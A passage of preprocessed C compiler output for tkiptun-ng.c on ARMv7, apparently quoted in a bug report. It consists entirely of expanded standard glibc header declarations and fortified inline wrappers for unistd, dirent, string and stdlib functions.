__gid_t __list[], size_t __listlen) __asm__ ("" "__getgroups_chk") __attribute__ ((__nothrow__ , __leaf__)) > > > __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("getgroups called with bigger group count than what " "can fit into destination buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >__attribute__ ((__nothrow__ , __leaf__)) getgroups (int __size, __gid_t __list[]) >{ > if (__builtin_object_size (__list, 2 > 1) != (size_t) -1) > { > if (!__builtin_constant_p (__size) || __size < 0) > return __getgroups_chk (__size, __list, __builtin_object_size (__list, 2 > 1)); > > if (__size * sizeof (__gid_t) > __builtin_object_size (__list, 2 > 1)) > return __getgroups_chk_warn (__size, __list, __builtin_object_size (__list, 2 > 1)); > } > return __getgroups_alias (__size, __list); >} > > >extern int __ttyname_r_chk (int __fd, char *__buf, size_t __buflen, > size_t __nreal) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); >extern int __ttyname_r_alias (int __fd, char *__buf, size_t __buflen) __asm__ ("" "ttyname_r") __attribute__ ((__nothrow__ , __leaf__)) > > __attribute__ ((__nonnull__ (2))); >extern int __ttyname_r_chk_warn (int __fd, char *__buf, size_t __buflen, size_t __nreal) __asm__ ("" "__ttyname_r_chk") __attribute__ ((__nothrow__ , __leaf__)) > > > __attribute__ ((__nonnull__ (2))) __attribute__((__warning__ ("ttyname_r called with bigger buflen than " "size of destination buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >__attribute__ ((__nothrow__ , __leaf__)) ttyname_r (int __fd, char *__buf, size_t __buflen) >{ > if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1) > { > if (!__builtin_constant_p (__buflen)) > return __ttyname_r_chk (__fd, __buf, __buflen, __builtin_object_size (__buf, 2 > 1)); > > if (__buflen > __builtin_object_size (__buf, 2 > 1)) > return __ttyname_r_chk_warn (__fd, __buf, __buflen, __builtin_object_size (__buf, 2 > 1)); > } > return __ttyname_r_alias (__fd, __buf, __buflen); >} > > > >extern int __getlogin_r_chk (char *__buf, size_t __buflen, size_t __nreal) > __attribute__ ((__nonnull__ (1))); >extern int __getlogin_r_alias (char *__buf, size_t __buflen) __asm__ ("" "getlogin_r") > __attribute__ ((__nonnull__ (1))); >extern int __getlogin_r_chk_warn (char *__buf, size_t __buflen, size_t __nreal) __asm__ ("" "__getlogin_r_chk") > > > __attribute__ ((__nonnull__ (1))) __attribute__((__warning__ ("getlogin_r called with bigger buflen than " "size of destination buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >getlogin_r (char *__buf, size_t __buflen) >{ > if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1) > { > if (!__builtin_constant_p (__buflen)) > return __getlogin_r_chk (__buf, __buflen, __builtin_object_size (__buf, 2 > 1)); > > if (__buflen > __builtin_object_size (__buf, 2 > 1)) > return __getlogin_r_chk_warn (__buf, __buflen, __builtin_object_size (__buf, 2 > 1)); > } > return __getlogin_r_alias (__buf, __buflen); >} > > > > >extern int __gethostname_chk (char *__buf, size_t __buflen, size_t __nreal) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); >extern int __gethostname_alias (char *__buf, size_t __buflen) __asm__ ("" "gethostname") __attribute__ ((__nothrow__ , __leaf__)) > __attribute__ ((__nonnull__ (1))); >extern int __gethostname_chk_warn (char *__buf, size_t __buflen, size_t __nreal) __asm__ ("" "__gethostname_chk") __attribute__ ((__nothrow__ , __leaf__)) > > > __attribute__ ((__nonnull__ (1))) __attribute__((__warning__ ("gethostname called with bigger buflen than " "size of destination buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >__attribute__ ((__nothrow__ , __leaf__)) gethostname (char *__buf, size_t __buflen) >{ > if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1) > { > if (!__builtin_constant_p (__buflen)) > return __gethostname_chk (__buf, __buflen, __builtin_object_size (__buf, 2 > 1)); > > if (__buflen > __builtin_object_size (__buf, 2 > 1)) > return __gethostname_chk_warn (__buf, __buflen, __builtin_object_size (__buf, 2 > 1)); > } > return __gethostname_alias (__buf, __buflen); >} > > > > >extern int __getdomainname_chk (char *__buf, size_t __buflen, size_t __nreal) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); >extern int __getdomainname_alias (char *__buf, size_t __buflen) __asm__ ("" "getdomainname") __attribute__ ((__nothrow__ , __leaf__)) > > __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); >extern int __getdomainname_chk_warn (char *__buf, size_t __buflen, size_t __nreal) __asm__ ("" "__getdomainname_chk") __attribute__ ((__nothrow__ , __leaf__)) > > > __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("getdomainname called with bigger " "buflen than size of destination " "buffer"))) > > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >__attribute__ ((__nothrow__ , __leaf__)) getdomainname (char *__buf, size_t __buflen) >{ > if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1) > { > if (!__builtin_constant_p (__buflen)) > return __getdomainname_chk (__buf, __buflen, __builtin_object_size (__buf, 2 > 1)); > > if (__buflen > __builtin_object_size (__buf, 2 > 1)) > return __getdomainname_chk_warn (__buf, __buflen, __builtin_object_size (__buf, 2 > 1)); > } > return __getdomainname_alias (__buf, __buflen); >} ># 1172 "/usr/include/unistd.h" 2 3 4 > > > ># 50 "tkiptun-ng.c" 2 ># 1 "/usr/include/dirent.h" 1 3 4 ># 29 "/usr/include/dirent.h" 3 4 > ># 63 "/usr/include/dirent.h" 3 4 ># 1 "/usr/include/bits/dirent.h" 1 3 4 ># 23 "/usr/include/bits/dirent.h" 3 4 >struct dirent > { > > > > > __ino64_t d_ino; > __off64_t d_off; > > unsigned short int d_reclen; > unsigned char d_type; > char d_name[256]; > }; ># 64 "/usr/include/dirent.h" 2 3 4 ># 99 "/usr/include/dirent.h" 3 4 >enum > { > DT_UNKNOWN = 0, > > DT_FIFO = 1, > > DT_CHR = 2, > > DT_DIR = 4, > > DT_BLK = 6, > > DT_REG = 8, > > DT_LNK = 10, > > DT_SOCK = 12, > > DT_WHT = 14 > > }; ># 129 "/usr/include/dirent.h" 3 4 >typedef struct __dirstream DIR; > > > > > > >extern DIR *opendir (__const char *__name) __attribute__ ((__nonnull__ (1))); > > > > > > >extern DIR *fdopendir (int __fd); > > > > > > > >extern int closedir (DIR *__dirp) __attribute__ ((__nonnull__ (1))); ># 167 "/usr/include/dirent.h" 3 4 >extern struct dirent *readdir (DIR *__dirp) __asm__ ("" "readdir64") > __attribute__ ((__nonnull__ (1))); ># 191 "/usr/include/dirent.h" 3 4 >extern int readdir_r (DIR *__restrict __dirp, struct dirent *__restrict __entry, struct dirent **__restrict __result) __asm__ ("" "readdir64_r") > > > > __attribute__ ((__nonnull__ (1, 2, 3))); ># 210 "/usr/include/dirent.h" 3 4 >extern void rewinddir (DIR *__dirp) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > > > >extern void seekdir (DIR *__dirp, long int __pos) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > >extern long int telldir (DIR *__dirp) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > > > >extern int dirfd (DIR *__dirp) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); ># 234 "/usr/include/dirent.h" 3 4 ># 1 "/usr/include/bits/posix1_lim.h" 1 3 4 ># 157 "/usr/include/bits/posix1_lim.h" 3 4 ># 1 "/usr/include/bits/local_lim.h" 1 3 4 ># 39 "/usr/include/bits/local_lim.h" 3 4 ># 1 "/usr/include/linux/limits.h" 1 3 4 ># 40 "/usr/include/bits/local_lim.h" 2 3 4 ># 158 "/usr/include/bits/posix1_lim.h" 2 3 4 ># 235 "/usr/include/dirent.h" 2 3 4 ># 246 "/usr/include/dirent.h" 3 4 ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 247 "/usr/include/dirent.h" 2 3 4 ># 264 "/usr/include/dirent.h" 3 4 >extern int scandir (__const char *__restrict __dir, struct dirent ***__restrict __namelist, int (*__selector) (__const struct dirent *), int (*__cmp) (__const struct dirent **, __const struct dirent **)) __asm__ ("" "scandir64") > > > > > > __attribute__ ((__nonnull__ (1, 2))); ># 331 "/usr/include/dirent.h" 3 4 >extern int alphasort (__const struct dirent **__e1, __const struct dirent **__e2) __asm__ ("" "alphasort64") __attribute__ ((__nothrow__ , __leaf__)) > > > __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); ># 360 "/usr/include/dirent.h" 3 4 >extern __ssize_t getdirentries (int __fd, char *__restrict __buf, size_t __nbytes, __off64_t *__restrict __basep) __asm__ ("" "getdirentries64") __attribute__ ((__nothrow__ , __leaf__)) > > > > __attribute__ ((__nonnull__ (2, 4))); ># 403 "/usr/include/dirent.h" 3 4 > ># 51 "tkiptun-ng.c" 2 > ># 1 "/usr/include/string.h" 1 3 4 ># 29 "/usr/include/string.h" 3 4 > > > > > ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 35 "/usr/include/string.h" 2 3 4 > > > > > > > > > >extern void *memcpy (void *__restrict __dest, > __const void *__restrict __src, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > >extern void *memmove (void *__dest, __const void *__src, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > > > > > >extern void *memccpy (void *__restrict __dest, __const void *__restrict __src, > int __c, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > > > > >extern void *memset (void *__s, int __c, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > >extern int memcmp (__const void *__s1, __const void *__s2, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); ># 95 "/usr/include/string.h" 3 4 >extern void *memchr (__const void *__s, int __c, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); > > ># 126 "/usr/include/string.h" 3 4 > > >extern char *strcpy (char *__restrict __dest, __const char *__restrict __src) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > >extern char *strncpy (char *__restrict __dest, > __const char *__restrict __src, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > >extern char *strcat (char *__restrict __dest, __const char *__restrict __src) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > >extern char *strncat (char *__restrict __dest, __const char *__restrict __src, > size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > >extern int strcmp (__const char *__s1, __const char *__s2) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); > >extern int strncmp (__const char *__s1, __const char *__s2, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); > > >extern int strcoll (__const char *__s1, __const char *__s2) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); > >extern size_t strxfrm (char *__restrict __dest, > __const char *__restrict __src, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); > > > > > > ># 1 "/usr/include/xlocale.h" 1 3 4 ># 28 "/usr/include/xlocale.h" 3 4 >typedef struct __locale_struct >{ > > struct __locale_data *__locales[13]; > > > const unsigned short int *__ctype_b; > const int *__ctype_tolower; > const int *__ctype_toupper; > > > const char *__names[13]; >} *__locale_t; > > >typedef __locale_t locale_t; ># 163 "/usr/include/string.h" 2 3 4 > > >extern int strcoll_l (__const char *__s1, __const char *__s2, __locale_t __l) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2, 3))); > >extern size_t strxfrm_l (char *__dest, __const char *__src, size_t __n, > __locale_t __l) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4))); > > > > > >extern char *strdup (__const char *__s) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__nonnull__ (1))); > > > > > > >extern char *strndup (__const char *__string, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__nonnull__ (1))); ># 210 "/usr/include/string.h" 3 4 > ># 235 "/usr/include/string.h" 3 4 >extern char *strchr (__const char *__s, int __c) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); ># 262 "/usr/include/string.h" 3 4 >extern char *strrchr (__const char *__s, int __c) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); > > ># 281 "/usr/include/string.h" 3 4 > > > >extern size_t strcspn (__const char *__s, __const char *__reject) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); > > >extern size_t strspn (__const char *__s, __const char *__accept) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); ># 314 "/usr/include/string.h" 3 4 >extern char *strpbrk (__const char *__s, __const char *__accept) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); ># 342 "/usr/include/string.h" 3 4 >extern char *strstr (__const char *__haystack, __const char *__needle) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); > > > > >extern char *strtok (char *__restrict __s, __const char *__restrict __delim) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); > > > > >extern char *__strtok_r (char *__restrict __s, > __const char *__restrict __delim, > char **__restrict __save_ptr) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3))); > >extern char *strtok_r (char *__restrict __s, __const char *__restrict __delim, > char **__restrict __save_ptr) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3))); ># 397 "/usr/include/string.h" 3 4 > > >extern size_t strlen (__const char *__s) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); > > > > > >extern size_t strnlen (__const char *__string, size_t __maxlen) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); > > > > > >extern char *strerror (int __errnum) __attribute__ ((__nothrow__ , __leaf__)); > ># 427 "/usr/include/string.h" 3 4 >extern int strerror_r (int __errnum, char *__buf, size_t __buflen) __asm__ ("" "__xpg_strerror_r") __attribute__ ((__nothrow__ , __leaf__)) > > __attribute__ ((__nonnull__ (2))); ># 445 "/usr/include/string.h" 3 4 >extern char *strerror_l (int __errnum, __locale_t __l) __attribute__ ((__nothrow__ , __leaf__)); > > > > > >extern void __bzero (void *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > >extern void bcopy (__const void *__src, void *__dest, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > >extern void bzero (void *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > >extern int bcmp (__const void *__s1, __const void *__s2, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); ># 489 "/usr/include/string.h" 3 4 >extern char *index (__const char *__s, int __c) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); ># 517 "/usr/include/string.h" 3 4 >extern char *rindex (__const char *__s, int __c) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); > > > > >extern int ffs (int __i) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); ># 536 "/usr/include/string.h" 3 4 >extern int strcasecmp (__const char *__s1, __const char *__s2) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); > > >extern int strncasecmp (__const char *__s1, __const char *__s2, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); ># 559 "/usr/include/string.h" 3 4 >extern char *strsep (char **__restrict __stringp, > __const char *__restrict __delim) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > > > >extern char *strsignal (int __sig) __attribute__ ((__nothrow__ , __leaf__)); > > >extern char *__stpcpy (char *__restrict __dest, __const char *__restrict __src) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); >extern char *stpcpy (char *__restrict __dest, __const char *__restrict __src) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > > >extern char *__stpncpy (char *__restrict __dest, > __const char *__restrict __src, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); >extern char *stpncpy (char *__restrict __dest, > __const char *__restrict __src, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); ># 634 "/usr/include/string.h" 3 4 ># 1 "/usr/include/bits/string.h" 1 3 4 ># 635 "/usr/include/string.h" 2 3 4 > > ># 1 "/usr/include/bits/string2.h" 1 3 4 ># 80 "/usr/include/bits/string2.h" 3 4 >typedef struct { unsigned char __arr[2]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR2; >typedef struct { unsigned char __arr[3]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR3; >typedef struct { unsigned char __arr[4]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR4; >typedef struct { unsigned char __arr[5]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR5; >typedef struct { unsigned char __arr[6]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR6; >typedef struct { unsigned char __arr[7]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR7; >typedef struct { unsigned char __arr[8]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR8; ># 394 "/usr/include/bits/string2.h" 3 4 >extern void *__rawmemchr (const void *__s, int __c); ># 969 "/usr/include/bits/string2.h" 3 4 >extern __inline size_t __strcspn_c1 (__const char *__s, int __reject); >extern __inline size_t >__strcspn_c1 (__const char *__s, int __reject) >{ > register size_t __result = 0; > while (__s[__result] != '\0' && __s[__result] != __reject) > ++__result; > return __result; >} > >extern __inline size_t __strcspn_c2 (__const char *__s, int __reject1, > int __reject2); >extern __inline size_t >__strcspn_c2 (__const char *__s, int __reject1, int __reject2) >{ > register size_t __result = 0; > while (__s[__result] != '\0' && __s[__result] != __reject1 > && __s[__result] != __reject2) > ++__result; > return __result; >} > >extern __inline size_t __strcspn_c3 (__const char *__s, int __reject1, > int __reject2, int __reject3); >extern __inline size_t >__strcspn_c3 (__const char *__s, int __reject1, int __reject2, > int __reject3) >{ > register size_t __result = 0; > while (__s[__result] != '\0' && __s[__result] != __reject1 > && __s[__result] != __reject2 && __s[__result] != __reject3) > ++__result; > return __result; >} ># 1045 "/usr/include/bits/string2.h" 3 4 >extern __inline size_t __strspn_c1 (__const char *__s, int __accept); >extern __inline size_t >__strspn_c1 (__const char *__s, int __accept) >{ > register size_t __result = 0; > > while (__s[__result] == __accept) > ++__result; > return __result; >} > >extern __inline size_t __strspn_c2 (__const char *__s, int __accept1, > int __accept2); >extern __inline size_t >__strspn_c2 (__const char *__s, int __accept1, int __accept2) >{ > register size_t __result = 0; > > while (__s[__result] == __accept1 || __s[__result] == __accept2) > ++__result; > return __result; >} > >extern __inline size_t __strspn_c3 (__const char *__s, int __accept1, > int __accept2, int __accept3); >extern __inline size_t >__strspn_c3 (__const char *__s, int __accept1, int __accept2, int __accept3) >{ > register size_t __result = 0; > > while (__s[__result] == __accept1 || __s[__result] == __accept2 > || __s[__result] == __accept3) > ++__result; > return __result; >} ># 1121 "/usr/include/bits/string2.h" 3 4 >extern __inline char *__strpbrk_c2 (__const char *__s, int __accept1, > int __accept2); >extern __inline char * >__strpbrk_c2 (__const char *__s, int __accept1, int __accept2) >{ > > while (*__s != '\0' && *__s != __accept1 && *__s != __accept2) > ++__s; > return *__s == '\0' ? ((void *)0) : (char *) (size_t) __s; >} > >extern __inline char *__strpbrk_c3 (__const char *__s, int __accept1, > int __accept2, int __accept3); >extern __inline char * >__strpbrk_c3 (__const char *__s, int __accept1, int __accept2, > int __accept3) >{ > > while (*__s != '\0' && *__s != __accept1 && *__s != __accept2 > && *__s != __accept3) > ++__s; > return *__s == '\0' ? ((void *)0) : (char *) (size_t) __s; >} ># 1172 "/usr/include/bits/string2.h" 3 4 >extern __inline char *__strtok_r_1c (char *__s, char __sep, char **__nextp); >extern __inline char * >__strtok_r_1c (char *__s, char __sep, char **__nextp) >{ > char *__result; > if (__s == ((void *)0)) > __s = *__nextp; > while (*__s == __sep) > ++__s; > __result = ((void *)0); > if (*__s != '\0') > { > __result = __s++; > while (*__s != '\0') > if (*__s++ == __sep) > { > __s[-1] = '\0'; > break; > } > } > *__nextp = __s; > return __result; >} ># 1204 "/usr/include/bits/string2.h" 3 4 >extern char *__strsep_g (char **__stringp, __const char *__delim); ># 1222 "/usr/include/bits/string2.h" 3 4 >extern __inline char *__strsep_1c (char **__s, char __reject); >extern __inline char * >__strsep_1c (char **__s, char __reject) >{ > register char *__retval = *__s; > if (__retval != ((void *)0) && (*__s = (__extension__ (__builtin_constant_p (__reject) && !__builtin_constant_p (__retval) && (__reject) == '\0' ? (char *) __rawmemchr (__retval, __reject) : __builtin_strchr (__retval, __reject)))) != ((void *)0)) > *(*__s)++ = '\0'; > return __retval; >} > >extern __inline char *__strsep_2c (char **__s, char __reject1, char __reject2); >extern __inline char * >__strsep_2c (char **__s, char __reject1, char __reject2) >{ > register char *__retval = *__s; > if (__retval != ((void *)0)) > { > register char *__cp = __retval; > while (1) > { > if (*__cp == '\0') > { > __cp = ((void *)0); > break; > } > if (*__cp == __reject1 || *__cp == __reject2) > { > *__cp++ = '\0'; > break; > } > ++__cp; > } > *__s = __cp; > } > return __retval; >} > >extern __inline char *__strsep_3c (char **__s, char __reject1, char __reject2, > char __reject3); >extern __inline char * >__strsep_3c (char **__s, char __reject1, char __reject2, char __reject3) >{ > register char *__retval = *__s; > if (__retval != ((void *)0)) > { > register char *__cp = __retval; > while (1) > { > if (*__cp == '\0') > { > __cp = ((void *)0); > break; > } > if (*__cp == __reject1 || *__cp == __reject2 || *__cp == __reject3) > { > *__cp++ = '\0'; > break; > } > ++__cp; > } > *__s = __cp; > } > return __retval; >} ># 1298 "/usr/include/bits/string2.h" 3 4 ># 1 "/usr/include/stdlib.h" 1 3 4 ># 33 "/usr/include/stdlib.h" 3 4 ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 34 "/usr/include/stdlib.h" 2 3 4 > > ># 469 "/usr/include/stdlib.h" 3 4 > > >extern void *malloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__warn_unused_result__)); > >extern void *calloc (size_t __nmemb, size_t __size) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__warn_unused_result__)); > ># 964 "/usr/include/stdlib.h" 3 4 > ># 1299 "/usr/include/bits/string2.h" 2 3 4 > > > > >extern char *__strdup (__const char *__string) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)); ># 1322 "/usr/include/bits/string2.h" 3 4 >extern char *__strndup (__const char *__string, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)); ># 638 "/usr/include/string.h" 2 3 4 > > > > ># 1 "/usr/include/bits/string3.h" 1 3 4 ># 23 "/usr/include/bits/string3.h" 3 4 >extern void __warn_memset_zero_len (void) __attribute__((__warning__ ("memset used with constant zero length parameter; this could be due to transposed parameters"))) > ; ># 48 "/usr/include/bits/string3.h" 3 4 >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) void * >__attribute__ ((__nothrow__ , __leaf__)) memcpy (void *__restrict __dest, __const void *__restrict __src, size_t __len) > >{ > return __builtin___memcpy_chk (__dest, __src, __len, __builtin_object_size (__dest, 0)); >} > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) void * >__attribute__ ((__nothrow__ , __leaf__)) memmove (void *__dest, __const void *__src, size_t __len) >{ > return __builtin___memmove_chk (__dest, __src, __len, __builtin_object_size (__dest, 0)); >} ># 76 "/usr/include/bits/string3.h" 3 4 >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) void * >__attribute__ ((__nothrow__ , __leaf__)) memset (void *__dest, int __ch, size_t __len) >{ > if (__builtin_constant_p (__len) && __len == 0 > && (!__builtin_constant_p (__ch) || __ch != 0)) > { > __warn_memset_zero_len (); > return __dest; > } > return __builtin___memset_chk (__dest, __ch, __len, __builtin_object_size (__dest, 0)); >} > > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) void >__attribute__ ((__nothrow__ , __leaf__)) bcopy (__const void *__src, void *__dest, size_t __len) >{ > (void) __builtin___memmove_chk (__dest, __src, __len, __builtin_object_size (__dest, 0)); >} > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) void >__attribute__ ((__nothrow__ , __leaf__)) bzero (void *__dest, size_t __len) >{ > (void) __builtin___memset_chk (__dest, '\0', __len, __builtin_object_size (__dest, 0)); >} > > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) char * >__attribute__ ((__nothrow__ , __leaf__)) strcpy (char *__restrict __dest, __const char *__restrict __src) >{ > return __builtin___strcpy_chk (__dest, __src, __builtin_object_size (__dest, 2 > 1)); >} ># 117 "/usr/include/bits/string3.h" 3 4 >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) char * >__attribute__ ((__nothrow__ , __leaf__)) strncpy (char *__restrict __dest, __const char *__restrict __src, size_t __len) > >{ > return __builtin___strncpy_chk (__dest, __src, __len, __builtin_object_size (__dest, 2 > 1)); >} > > >extern char *__stpncpy_chk (char *__dest, __const char *__src, size_t __n, > size_t __destlen) __attribute__ ((__nothrow__ , __leaf__)); >extern char *__stpncpy_alias (char *__dest, __const char *__src, size_t __n) __asm__ ("" "stpncpy") __attribute__ ((__nothrow__ , __leaf__)) > > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) char * >__attribute__ ((__nothrow__ , __leaf__)) stpncpy (char *__dest, __const char *__src, size_t __n) >{ > if (__builtin_object_size (__dest, 2 > 1) != (size_t) -1 > && (!__builtin_constant_p (__n) || __n <= __builtin_object_size (__dest, 2 > 1))) > return __stpncpy_chk (__dest, __src, __n, __builtin_object_size (__dest, 2 > 1)); > return __stpncpy_alias (__dest, __src, __n); >} > > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) char * >__attribute__ ((__nothrow__ , __leaf__)) strcat (char *__restrict __dest, __const char *__restrict __src) >{ > return __builtin___strcat_chk (__dest, __src, __builtin_object_size (__dest, 2 > 1)); >} > > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) char * >__attribute__ ((__nothrow__ , __leaf__)) strncat (char *__restrict __dest, __const char *__restrict __src, size_t __len) > >{ > return __builtin___strncat_chk (__dest, __src, __len, __builtin_object_size (__dest, 2 > 1)); >} ># 643 "/usr/include/string.h" 2 3 4 > > > > ># 53 "tkiptun-ng.c" 2 ># 1 "/usr/include/stdlib.h" 1 3 4 ># 33 "/usr/include/stdlib.h" 3 4 ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 325 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 3 4 >typedef unsigned int wchar_t; ># 34 "/usr/include/stdlib.h" 2 3 4 > > ># 96 "/usr/include/stdlib.h" 3 4 > > >typedef struct > { > int quot; > int rem; > } div_t; > > > >typedef struct > { > long int quot; > long int rem; > } ldiv_t; > > > > > > > >__extension__ typedef struct > { > long long int quot; > long long int rem; > } lldiv_t; > > ># 140 "/usr/include/stdlib.h" 3 4 >extern size_t __ctype_get_mb_cur_max (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > > >extern double atof (__const char *__nptr) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > >extern int atoi (__const char *__nptr) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > >extern long int atol (__const char *__nptr) > __attribute__ ((__nothrow__ , 